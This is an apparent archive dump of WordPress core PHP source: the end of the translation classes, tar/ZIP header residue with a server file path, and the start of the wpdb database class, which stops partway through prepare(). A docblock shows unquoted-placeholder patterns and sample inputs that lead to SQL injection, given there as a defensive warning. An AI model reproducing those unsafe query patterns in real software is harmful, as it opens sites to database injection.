$this->headers[ $header ] = $value; } /** * Sets translation headers. * * @since 2.8.0 * * @param array $headers Associative array of headers. */ public function set_headers( $headers ) { foreach ( $headers as $header => $value ) { $this->set_header( $header, $value ); } } /** * Returns a given translation header. * * @since 2.8.0 * * @param string $header * @return string|false Header if it exists, false otherwise. */ public function get_header( $header ) { return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false; } /** * Returns a given translation entry. * * @since 2.8.0 * * @param Translation_Entry $entry Translation entry. * @return Translation_Entry|false Translation entry if it exists, false otherwise. */ public function translate_entry( &$entry ) { $key = $entry->key(); return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false; } /** * Translates a singular string. * * @since 2.8.0 * * @param string $singular * @param string $context * @return string */ public function translate( $singular, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular; } /** * Given the number of items, returns the 0-based index of the plural form to use * * Here, in the base Translations class, the common logic for English is implemented: * 0 if there is one element, 1 otherwise * * This function should be overridden by the subclasses. For example MO/PO can derive the logic * from their headers. * * @since 2.8.0 * * @param int $count Number of items. * @return int Plural form to use. */ public function select_plural_form( $count ) { return 1 === (int) $count ? 0 : 1; } /** * Returns the plural forms count. * * @since 2.8.0 * * @return int Plural forms count. */ public function get_plural_forms_count() { return 2; } /** * Translates a plural string. * * @since 2.8.0 * * @param string $singular * @param string $plural * @param int $count * @param string $context * @return string */ public function translate_plural( $singular, $plural, $count, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'plural' => $plural, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); $index = $this->select_plural_form( $count ); $total_plural_forms = $this->get_plural_forms_count(); if ( $translated && 0 <= $index && $index < $total_plural_forms && is_array( $translated->translations ) && isset( $translated->translations[ $index ] ) ) { return $translated->translations[ $index ]; } else { return 1 === (int) $count ? $singular : $plural; } } /** * Merges other translations into the current one. * * @since 2.8.0 * * @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference). */ public function merge_with( &$other ) { foreach ( $other->entries as $entry ) { $this->entries[ $entry->key() ] = $entry; } } /** * Merges originals with existing entries. * * @since 2.8.0 * * @param Translations $other */ public function merge_originals_with( &$other ) { foreach ( $other->entries as $entry ) { if ( ! isset( $this->entries[ $entry->key() ] ) ) { $this->entries[ $entry->key() ] = $entry; } else { $this->entries[ $entry->key() ]->merge_with( $entry ); } } } } /** * Gettext_Translations class. * * @since 2.8.0 */ class Gettext_Translations extends Translations { /** * Number of plural forms. * * @var int * * @since 2.8.0 */ public $_nplurals; /** * Callback to retrieve the plural form. * * @var callable * * @since 2.8.0 */ public $_gettext_select_plural_form; /** * The gettext implementation of select_plural_form. * * It lives in this class, because there are more than one descendant, which will use it and * they can't share it effectively. * * @since 2.8.0 * * @param int $count Plural forms count. * @return int Plural form to use. */ public function gettext_select_plural_form( $count ) { if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } return call_user_func( $this->_gettext_select_plural_form, $count ); } /** * Returns the nplurals and plural forms expression from the Plural-Forms header. * * @since 2.8.0 * * @param string $header * @return array{0: int, 1: string} */ public function nplurals_and_expression_from_header( $header ) { if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) { $nplurals = (int) $matches[1]; $expression = trim( $matches[2] ); return array( $nplurals, $expression ); } else { return array( 2, 'n != 1' ); } } /** * Makes a function, which will return the right translation index, according to the * plural forms header. * * @since 2.8.0 * * @param int $nplurals * @param string $expression * @return callable */ public function make_plural_form_function( $nplurals, $expression ) { try { $handler = new Plural_Forms( rtrim( $expression, ';' ) ); return array( $handler, 'get' ); } catch ( Exception $e ) { // Fall back to default plural-form function. return $this->make_plural_form_function( 2, 'n != 1' ); } } /** * Adds parentheses to the inner parts of ternary operators in * plural expressions, because PHP evaluates ternary operators from left to right * * @since 2.8.0 * @deprecated 6.5.0 Use the Plural_Forms class instead. * * @see Plural_Forms * * @param string $expression the expression without parentheses * @return string the expression with parentheses added */ public function parenthesize_plural_exression( $expression ) { $expression .= ';'; $res = ''; $depth = 0; for ( $i = 0; $i < strlen( $expression ); ++$i ) { $char = $expression[ $i ]; switch ( $char ) { case '?': $res .= ' ? ('; ++$depth; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $depth ) . ';'; $depth = 0; break; default: $res .= $char; } } return rtrim( $res, ';' ); } /** * Prepare translation headers. * * @since 2.8.0 * * @param string $translation * @return array Translation headers */ public function make_headers( $translation ) { $headers = array(); // Sometimes \n's are used instead of real new lines. $translation = str_replace( '\n', "\n", $translation ); $lines = explode( "\n", $translation ); foreach ( $lines as $line ) { $parts = explode( ':', $line, 2 ); if ( ! isset( $parts[1] ) ) { continue; } $headers[ trim( $parts[0] ) ] = trim( $parts[1] ); } return $headers; } /** * Sets translation headers. * * @since 2.8.0 * * @param string $header * @param string $value */ public function set_header( $header, $value ) { parent::set_header( $header, $value ); if ( 'Plural-Forms' === $header ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } } } endif; if ( ! class_exists( 'NOOP_Translations', false ) ) : /** * Provides the same interface as Translations, but doesn't do anything. * * @since 2.8.0 */ #[AllowDynamicProperties] class NOOP_Translations { /** * List of translation entries. * * @since 2.8.0 * * @var Translation_Entry[] */ public $entries = array(); /** * List of translation headers. * * @since 2.8.0 * * @var array */ public $headers = array(); public function add_entry( $entry ) { return true; } /** * Sets a translation header. * * @since 2.8.0 * * @param string $header * @param string $value */ public function set_header( $header, $value ) { } /** * Sets translation headers. * * @since 2.8.0 * * @param array $headers */ public function set_headers( $headers ) { } /** * Returns a translation header. * * @since 2.8.0 * * @param string $header * @return false */ public function get_header( $header ) { return false; } /** * Returns a given translation entry. * * @since 2.8.0 * * @param Translation_Entry $entry * @return false */ public function translate_entry( &$entry ) { return false; } /** * Translates a singular string. * * @since 2.8.0 * * @param string $singular * @param string $context */ public function translate( $singular, $context = null ) { return $singular; } /** * Returns the plural form to use. * * @since 2.8.0 * * @param int $count * @return int */ public function select_plural_form( $count ) { return 1 === (int) $count ? 0 : 1; } /** * Returns the plural forms count. * * @since 2.8.0 * * @return int */ public function get_plural_forms_count() { return 2; } /** * Translates a plural string. * * @since 2.8.0 * * @param string $singular * @param string $plural * @param int $count * @param string $context * @return string */ public function translate_plural( $singular, $plural, $count, $context = null ) { return 1 === (int) $count ? $singular : $plural; } /** * Merges other translations into the current one. * * @since 2.8.0 * * @param Translations $other */ public function merge_with( &$other ) { } } endif; PK$[ class-wpdb.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wpdb.php000064400000347014150550004510017710 0ustar00 '%d'. * * @since 2.8.0 * * @see wpdb::prepare() * @see wpdb::insert() * @see wpdb::update() * @see wpdb::delete() * @see wp_set_wpdb_vars() * @var array */ public $field_types = array(); /** * Database table columns charset. * * @since 2.2.0 * * @var string */ public $charset; /** * Database table columns collate. * * @since 2.2.0 * * @var string */ public $collate; /** * Database Username. * * @since 2.9.0 * * @var string */ protected $dbuser; /** * Database Password. * * @since 3.1.0 * * @var string */ protected $dbpassword; /** * Database Name. * * @since 3.1.0 * * @var string */ protected $dbname; /** * Database Host. * * @since 3.1.0 * * @var string */ protected $dbhost; /** * Database handle. * * Possible values: * * - `mysqli` instance during normal operation * - `null` if the connection is yet to be made or has been closed * - `false` if the connection has failed * * @since 0.71 * * @var mysqli|false|null */ protected $dbh; /** * A textual description of the last query/get_row/get_var call. * * @since 3.0.0 * * @var string */ public $func_call; /** * Whether MySQL is used as the database engine. * * Set in wpdb::db_connect() to true, by default. This is used when checking * against the required MySQL version for WordPress. Normally, a replacement * database drop-in (db.php) will skip these checks, but setting this to true * will force the checks to occur. * * @since 3.3.0 * * @var bool */ public $is_mysql = null; /** * A list of incompatible SQL modes. * * @since 3.9.0 * * @var string[] */ protected $incompatible_modes = array( 'NO_ZERO_DATE', 'ONLY_FULL_GROUP_BY', 'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', 'TRADITIONAL', 'ANSI', ); /** * Backward compatibility, where wpdb::prepare() has not quoted formatted/argnum placeholders. * * This is often used for table/field names (before %i was supported), and sometimes string formatting, e.g. * * $wpdb->prepare( 'WHERE `%1$s` = "%2$s something %3$s" OR %1$s = "%4$-10s"', 'field_1', 'a', 'b', 'c' ); * * But it's risky, e.g. forgetting to add quotes, resulting in SQL Injection vulnerabilities: * * $wpdb->prepare( 'WHERE (id = %1s) OR (id = %2$s)', $_GET['id'], $_GET['id'] ); // ?id=id * * This feature is preserved while plugin authors update their code to use safer approaches: * * $_GET['key'] = 'a`b'; * * $wpdb->prepare( 'WHERE %1s = %s', $_GET['key'], $_GET['value'] ); // WHERE a`b = 'value' * $wpdb->prepare( 'WHERE `%1$s` = "%2$s"', $_GET['key'], $_GET['value'] ); // WHERE `a`b` = "value" * * $wpdb->prepare( 'WHERE %i = %s', $_GET['key'], $_GET['value'] ); // WHERE `a``b` = 'value' * * While changing to false will be fine for queries not using formatted/argnum placeholders, * any remaining cases are most likely going to result in SQL errors (good, in a way): * * $wpdb->prepare( 'WHERE %1$s = "%2$-10s"', 'my_field', 'my_value' ); * true = WHERE my_field = "my_value " * false = WHERE 'my_field' = "'my_value '" * * But there may be some queries that result in an SQL Injection vulnerability: * * $wpdb->prepare( 'WHERE id = %1$s', $_GET['id'] ); // ?id=id * * So there may need to be a `_doing_it_wrong()` phase, after we know everyone can use * identifier placeholders (%i), but before this feature is disabled or removed. * * @since 6.2.0 * @var bool */ private $allow_unsafe_unquoted_parameters = true; /** * Whether to use the mysqli extension over mysql. This is no longer used as the mysql * extension is no longer supported. * * Default true. * * @since 3.9.0 * @since 6.4.0 This property was removed. * @since 6.4.1 This property was reinstated and its default value was changed to true. * The property is no longer used in core but may be accessed externally. * * @var bool */ private $use_mysqli = true; /** * Whether we've managed to successfully connect at some point. * * @since 3.9.0 * * @var bool */ private $has_connected = false; /** * Time when the last query was performed. * * Only set when `SAVEQUERIES` is defined and truthy. * * @since 1.5.0 * * @var float */ public $time_start = null; /** * The last SQL error that was encountered. * * @since 2.5.0 * * @var WP_Error|string */ public $error = null; /** * Connects to the database server and selects a database. * * Does the actual setting up * of the class properties and connection to the database. * * @since 2.0.8 * * @link https://core.trac.wordpress.org/ticket/3354 * * @param string $dbuser Database user. * @param string $dbpassword Database password. * @param string $dbname Database name. * @param string $dbhost Database host. */ public function __construct( $dbuser, #[\SensitiveParameter] $dbpassword, $dbname, $dbhost ) { if ( WP_DEBUG && WP_DEBUG_DISPLAY ) { $this->show_errors(); } $this->dbuser = $dbuser; $this->dbpassword = $dbpassword; $this->dbname = $dbname; $this->dbhost = $dbhost; // wp-config.php creation will manually connect when ready. if ( defined( 'WP_SETUP_CONFIG' ) ) { return; } $this->db_connect(); } /** * Makes private properties readable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to get, and optionally process. * @return mixed The private member. */ public function __get( $name ) { if ( 'col_info' === $name ) { $this->load_col_info(); } return $this->$name; } /** * Makes private properties settable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to set. * @param mixed $value The value to set. */ public function __set( $name, $value ) { $protected_members = array( 'col_meta', 'table_charset', 'check_current_query', 'allow_unsafe_unquoted_parameters', ); if ( in_array( $name, $protected_members, true ) ) { return; } $this->$name = $value; } /** * Makes private properties check-able for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to check. * @return bool If the member is set or not. */ public function __isset( $name ) { return isset( $this->$name ); } /** * Makes private properties un-settable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to unset */ public function __unset( $name ) { unset( $this->$name ); } /** * Sets $this->charset and $this->collate. * * @since 3.1.0 */ public function init_charset() { $charset = ''; $collate = ''; if ( function_exists( 'is_multisite' ) && is_multisite() ) { $charset = 'utf8'; if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) { $collate = DB_COLLATE; } else { $collate = 'utf8_general_ci'; } } elseif ( defined( 'DB_COLLATE' ) ) { $collate = DB_COLLATE; } if ( defined( 'DB_CHARSET' ) ) { $charset = DB_CHARSET; } $charset_collate = $this->determine_charset( $charset, $collate ); $this->charset = $charset_collate['charset']; $this->collate = $charset_collate['collate']; } /** * Determines the best charset and collation to use given a charset and collation. * * For example, when able, utf8mb4 should be used instead of utf8. * * @since 4.6.0 * * @param string $charset The character set to check. * @param string $collate The collation to check. * @return array { * The most appropriate character set and collation to use. * * @type string $charset Character set. * @type string $collate Collation. * } */ public function determine_charset( $charset, $collate ) { if ( ( ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) { return compact( 'charset', 'collate' ); } if ( 'utf8' === $charset ) { $charset = 'utf8mb4'; } if ( 'utf8mb4' === $charset ) { // _general_ is outdated, so we can upgrade it to _unicode_, instead. if ( ! $collate || 'utf8_general_ci' === $collate ) { $collate = 'utf8mb4_unicode_ci'; } else { $collate = str_replace( 'utf8_', 'utf8mb4_', $collate ); } } // _unicode_520_ is a better collation, we should use that when it's available. if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) { $collate = 'utf8mb4_unicode_520_ci'; } return compact( 'charset', 'collate' ); } /** * Sets the connection's character set. * * @since 3.1.0 * * @param mysqli $dbh The connection returned by `mysqli_connect()`. * @param string $charset Optional. The character set. Default null. * @param string $collate Optional. The collation. Default null. */ public function set_charset( $dbh, $charset = null, $collate = null ) { if ( ! isset( $charset ) ) { $charset = $this->charset; } if ( ! isset( $collate ) ) { $collate = $this->collate; } if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) { $set_charset_succeeded = true; if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) { $set_charset_succeeded = mysqli_set_charset( $dbh, $charset ); } if ( $set_charset_succeeded ) { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) { $query .= $this->prepare( ' COLLATE %s', $collate ); } mysqli_query( $dbh, $query ); } } } /** * Changes the current SQL mode, and ensures its WordPress compatibility. * * If no modes are passed, it will ensure the current MySQL server modes are compatible. * * @since 3.9.0 * * @param array $modes Optional. A list of SQL modes to set. Default empty array. */ public function set_sql_mode( $modes = array() ) { if ( empty( $modes ) ) { $res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' ); if ( empty( $res ) ) { return; } $modes_array = mysqli_fetch_array( $res ); if ( empty( $modes_array[0] ) ) { return; } $modes_str = $modes_array[0]; if ( empty( $modes_str ) ) { return; } $modes = explode( ',', $modes_str ); } $modes = array_change_key_case( $modes, CASE_UPPER ); /** * Filters the list of incompatible SQL modes to exclude. * * @since 3.9.0 * * @param array $incompatible_modes An array of incompatible modes. */ $incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes ); foreach ( $modes as $i => $mode ) { if ( in_array( $mode, $incompatible_modes, true ) ) { unset( $modes[ $i ] ); } } $modes_str = implode( ',', $modes ); mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" ); } /** * Sets the table prefix for the WordPress tables. * * @since 2.5.0 * * @param string $prefix Alphanumeric name for the new prefix. * @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, * should be updated or not. Default true. * @return string|WP_Error Old prefix or WP_Error on error. */ public function set_prefix( $prefix, $set_table_names = true ) { if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) { return new WP_Error( 'invalid_db_prefix', 'Invalid database prefix' ); } $old_prefix = is_multisite() ? '' : $prefix; if ( isset( $this->base_prefix ) ) { $old_prefix = $this->base_prefix; } $this->base_prefix = $prefix; if ( $set_table_names ) { foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } if ( is_multisite() && empty( $this->blogid ) ) { return $old_prefix; } $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } } return $old_prefix; } /** * Sets blog ID. * * @since 3.0.0 * * @param int $blog_id * @param int $network_id Optional. Network ID. Default 0. * @return int Previous blog ID. */ public function set_blog_id( $blog_id, $network_id = 0 ) { if ( ! empty( $network_id ) ) { $this->siteid = $network_id; } $old_blog_id = $this->blogid; $this->blogid = $blog_id; $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } return $old_blog_id; } /** * Gets blog prefix. * * @since 3.0.0 * * @param int $blog_id Optional. Blog ID to retrieve the table prefix for. * Defaults to the current blog ID. * @return string Blog prefix. */ public function get_blog_prefix( $blog_id = null ) { if ( is_multisite() ) { if ( null === $blog_id ) { $blog_id = $this->blogid; } $blog_id = (int) $blog_id; if ( defined( 'MULTISITE' ) && ( 0 === $blog_id || 1 === $blog_id ) ) { return $this->base_prefix; } else { return $this->base_prefix . $blog_id . '_'; } } else { return $this->base_prefix; } } /** * Returns an array of WordPress tables. * * Also allows for the `CUSTOM_USER_TABLE` and `CUSTOM_USER_META_TABLE` to override the WordPress users * and usermeta tables that would otherwise be determined by the prefix. * * The `$scope` argument can take one of the following: * * - 'all' - returns 'all' and 'global' tables. No old tables are returned. * - 'blog' - returns the blog-level tables for the queried blog. * - 'global' - returns the global tables for the installation, returning multisite tables only on multisite. * - 'ms_global' - returns the multisite global tables, regardless if current installation is multisite. * - 'old' - returns tables which are deprecated. * * @since 3.0.0 * @since 6.1.0 `old` now includes deprecated multisite global tables only on multisite. * * @uses wpdb::$tables * @uses wpdb::$old_tables * @uses wpdb::$global_tables * @uses wpdb::$ms_global_tables * @uses wpdb::$old_ms_global_tables * * @param string $scope Optional. Possible values include 'all', 'global', 'ms_global', 'blog', * or 'old' tables. Default 'all'. * @param bool $prefix Optional. Whether to include table prefixes. If blog prefix is requested, * then the custom users and usermeta tables will be mapped. Default true. * @param int $blog_id Optional. The blog_id to prefix. Used only when prefix is requested. * Defaults to `wpdb::$blogid`. * @return string[] Table names. When a prefix is requested, the key is the unprefixed table name. */ public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) { switch ( $scope ) { case 'all': $tables = array_merge( $this->global_tables, $this->tables ); if ( is_multisite() ) { $tables = array_merge( $tables, $this->ms_global_tables ); } break; case 'blog': $tables = $this->tables; break; case 'global': $tables = $this->global_tables; if ( is_multisite() ) { $tables = array_merge( $tables, $this->ms_global_tables ); } break; case 'ms_global': $tables = $this->ms_global_tables; break; case 'old': $tables = $this->old_tables; if ( is_multisite() ) { $tables = array_merge( $tables, $this->old_ms_global_tables ); } break; default: return array(); } if ( $prefix ) { if ( ! $blog_id ) { $blog_id = $this->blogid; } $blog_prefix = $this->get_blog_prefix( $blog_id ); $base_prefix = $this->base_prefix; $global_tables = array_merge( $this->global_tables, $this->ms_global_tables ); foreach ( $tables as $k => $table ) { if ( in_array( $table, $global_tables, true ) ) { $tables[ $table ] = $base_prefix . $table; } else { $tables[ $table ] = $blog_prefix . $table; } unset( $tables[ $k ] ); } if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) { $tables['users'] = CUSTOM_USER_TABLE; } if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) { $tables['usermeta'] = CUSTOM_USER_META_TABLE; } } return $tables; } /** * Selects a database using the current or provided database connection. * * The database name will be changed based on the current database connection. * On failure, the execution will bail and display a DB error. * * @since 0.71 * * @param string $db Database name. * @param mysqli $dbh Optional. Database connection. * Defaults to the current database handle. */ public function select( $db, $dbh = null ) { if ( is_null( $dbh ) ) { $dbh = $this->dbh; } $success = mysqli_select_db( $dbh, $db ); if ( ! $success ) { $this->ready = false; if ( ! did_action( 'template_redirect' ) ) { wp_load_translations_early(); $message = '

    ' . __( 'Cannot select database' ) . "

    \n"; $message .= '

    ' . sprintf( /* translators: %s: Database name. */ __( 'The database server could be connected to (which means your username and password is okay) but the %s database could not be selected.' ), '' . htmlspecialchars( $db, ENT_QUOTES ) . '' ) . "

    \n"; $message .= "
      \n"; $message .= '
    • ' . __( 'Are you sure it exists?' ) . "
    • \n"; $message .= '
    • ' . sprintf( /* translators: 1: Database user, 2: Database name. */ __( 'Does the user %1$s have permission to use the %2$s database?' ), '' . htmlspecialchars( $this->dbuser, ENT_QUOTES ) . '', '' . htmlspecialchars( $db, ENT_QUOTES ) . '' ) . "
    • \n"; $message .= '
    • ' . sprintf( /* translators: %s: Database name. */ __( 'On some systems the name of your database is prefixed with your username, so it would be like username_%1$s. Could that be the problem?' ), htmlspecialchars( $db, ENT_QUOTES ) ) . "
    • \n"; $message .= "
    \n"; $message .= '

    ' . sprintf( /* translators: %s: Support forums URL. */ __( 'If you do not know how to set up a database you should contact your host. If all else fails you may find help at the WordPress support forums.' ), __( 'https://wordpress.org/support/forums/' ) ) . "

    \n"; $this->bail( $message, 'db_select_fail' ); } } } /** * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 2.8.0 * @deprecated 3.6.0 Use wpdb::prepare() * @see wpdb::prepare() * @see esc_sql() * * @param string $data * @return string */ public function _weak_escape( $data ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) { _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' ); } return addslashes( $data ); } /** * Real escape using mysqli_real_escape_string(). * * @since 2.8.0 * * @see mysqli_real_escape_string() * * @param string $data String to escape. * @return string Escaped string. */ public function _real_escape( $data ) { if ( ! is_scalar( $data ) ) { return ''; } if ( $this->dbh ) { $escaped = mysqli_real_escape_string( $this->dbh, $data ); } else { $class = get_class( $this ); wp_load_translations_early(); /* translators: %s: Database access abstraction class, usually wpdb or a class extending wpdb. */ _doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' ); $escaped = addslashes( $data ); } return $this->add_placeholder_escape( $escaped ); } /** * Escapes data. Works on arrays. * * @since 2.8.0 * * @uses wpdb::_real_escape() * * @param string|array $data Data to escape. * @return string|array Escaped data, in the same type as supplied. */ public function _escape( $data ) { if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array( $v ) ) { $data[ $k ] = $this->_escape( $v ); } else { $data[ $k ] = $this->_real_escape( $v ); } } } else { $data = $this->_real_escape( $data ); } return $data; } /** * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 0.71 * @deprecated 3.6.0 Use wpdb::prepare() * @see wpdb::prepare() * @see esc_sql() * * @param string|array $data Data to escape. * @return string|array Escaped data, in the same type as supplied. */ public function escape( $data ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) { _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' ); } if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array( $v ) ) { $data[ $k ] = $this->escape( $v, 'recursive' ); } else { $data[ $k ] = $this->_weak_escape( $v, 'internal' ); } } } else { $data = $this->_weak_escape( $data, 'internal' ); } return $data; } /** * Escapes content by reference for insertion into the database, for security. * * @uses wpdb::_real_escape() * * @since 2.3.0 * * @param string $data String to escape. */ public function escape_by_ref( &$data ) { if ( ! is_float( $data ) ) { $data = $this->_real_escape( $data ); } } /** * Quotes an identifier for a MySQL database, e.g. table/field names. * * @since 6.2.0 * * @param string $identifier Identifier to escape. * @return string Escaped identifier. */ public function quote_identifier( $identifier ) { return '`' . $this->_escape_identifier_value( $identifier ) . '`'; } /** * Escapes an identifier value without adding the surrounding quotes. * * - Permitted characters in quoted identifiers include the full Unicode * Basic Multilingual Plane (BMP), except U+0000. * - To quote the identifier itself, you need to double the character, e.g. `a``b`. * * @since 6.2.0 * * @link https://dev.mysql.com/doc/refman/8.0/en/identifiers.html * * @param string $identifier Identifier to escape. * @return string Escaped identifier. */ private function _escape_identifier_value( $identifier ) { return str_replace( '`', '``', $identifier ); } /** * Prepares a SQL query for safe execution. * * Uses `sprintf()`-like syntax. The following placeholders can be used in the query string: * * - `%d` (integer) * - `%f` (float) * - `%s` (string) * - `%i` (identifier, e.g. table/field names) * * All placeholders MUST be left unquoted in the query string. A corresponding argument * MUST be passed for each placeholder. * * Note: There is one exception to the above: for compatibility with old behavior, * numbered or formatted string placeholders (eg, `%1$s`, `%5s`) will not have quotes * added by this function, so should be passed with appropriate quotes around them. * * Literal percentage signs (`%`) in the query string must be written as `%%`. Percentage wildcards * (for example, to use in LIKE syntax) must be passed via a substitution argument containing * the complete LIKE string, these cannot be inserted directly in the query string. * Also see wpdb::esc_like(). * * Arguments may be passed as individual arguments to the method, or as a single array * containing all arguments. A combination of the two is not supported. * * Examples: * * $wpdb->prepare( * "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s", * array( 'foo', 1337, '%bar' ) * ); * * $wpdb->prepare( * "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", * 'foo' * ); * * @since 2.3.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by updating the function signature. The second parameter was changed * from `$args` to `...$args`. * @since 6.2.0 Added `%i` for identifiers, e.g. table or field names. * Check support via `wpdb::has_cap( 'identifier_placeholders' )`. * This preserves compatibility with `sprintf()`, as the C version uses * `%d` and `$i` as a signed integer, whereas PHP only supports `%d`. * * @link https://www.php.net/sprintf Description of syntax. * * @param string $query Query statement with `sprintf()`-like placeholders. * @param array|mixed $args The array of variables to substitute into the query's placeholders * if being called with an array of arguments, or the first variable * to substitute into the query's placeholders if being called with * individual arguments. * @param mixed ...$args Further variables to substitute into the query's placeholders * if being called with individual arguments. * @return string|void Sanitized query string, if there is a query to prepare. */ public function prepare( $query, ...$args ) { if ( is_null( $query ) ) { return; } /* * This is not meant to be foolproof -- but it will catch obviously incorrect usage. * * Note: str_contains() is not used here, as this file can be included * directly outside of WordPress core, e.g. by HyperDB, in which case * the polyfills from wp-includes/compat.php are not loaded. */ if ( false === strpos( $query, '%' ) ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( /* translators: %s: wpdb::prepare() */ __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' ); } /* * Specify the formatting allowed in a placeholder. The following are allowed: * * - Sign specifier, e.g. $+d * - Numbered placeholders, e.g. %1$s * - Padding specifier, including custom padding characters, e.g. %05s, %'#5s * - Alignment specifier, e.g. %05-s * - Precision specifier, e.g. %.2f */ $allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?'; /* * If a %s placeholder already has quotes around it, removing the existing quotes * and re-inserting them ensures the quotes are consistent. * * For backward compatibility, this is only applied to %s, and not to placeholders like %1$s, * which are frequently used in the middle of longer strings, or as table name placeholders. */ $query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes. $query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes. // Escape any unescaped percents (i.e. anything unrecognised). $query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdfFi]))/", '%%\\1', $query ); // Extract placeholders from the query. $split_query = preg_split( "/(^|[^%]|(?:%%)+)(%(?:$allowed_format)?[sdfFi])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE ); $split_query_count = count( $split_query ); /* * Split always returns with 1 value before the first placeholder (even with $query = "%s"), * then 3 additional values per placeholder. */ $placeholder_count = ( ( $split_query_count - 1 ) / 3 ); // If args were passed as an array, as in vsprintf(), move them up. $passed_as_array = ( isset( $args[0] ) && is_array( $args[0] ) && 1 === count( $args ) ); if ( $passed_as_array ) { $args = $args[0]; } $new_query = ''; $key = 2; // Keys 0 and 1 in $split_query contain values before the first placeholder. $arg_id = 0; $arg_identifiers = array(); $arg_strings = array(); while ( $key < $split_query_count ) { $placeholder = $split_query[ $key ]; $format = substr( $placeholder, 1, -1 ); $type = substr( $placeholder, -1 ); if ( 'f' === $type && true === $this->allow_unsafe_unquoted_parameters /* * Note: str_ends_with() is not used here, as this file can be included * directly outside of WordPress core, e.g. by HyperDB, in which case * the polyfills from wp-includes/compat.php are not loaded. */ && '%' === substr( $split_query[ $key - 1 ], -1, 1 ) ) { /* * Before WP 6.2 the "force floats to be locale-unaware" RegEx didn't * convert "%%%f" to "%%%F" (note the uppercase F). * This was because it didn't check to see if the leading "%" was escaped. * And because the "Escape any unescaped percents" RegEx used "[sdF]" in its * negative lookahead assertion, when there was an odd number of "%", it added * an extra "%", to give the fully escaped "%%%%f" (not a placeholder). */ $s = $split_query[ $key - 2 ] . $split_query[ $key - 1 ]; $k = 1; $l = strlen( $s ); while ( $k <= $l && '%' === $s[ $l - $k ] ) { ++$k; } $placeholder = '%' . ( $k % 2 ? '%' : '' ) . $format . $type; --$placeholder_count; } else { // Force floats to be locale-unaware. if ( 'f' === $type ) { $type = 'F'; $placeholder = '%' . $format . $type; } if ( 'i' === $type ) { $placeholder = '`%' . $format . 's`'; // Using a simple strpos() due to previous checking (e.g. $allowed_format). $argnum_pos = strpos( $format, '$' ); if ( false !== $argnum_pos ) { // sprintf() argnum starts at 1, $arg_id from 0. $arg_identifiers[] = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 ); } else { $arg_identifiers[] = $arg_id; } } elseif 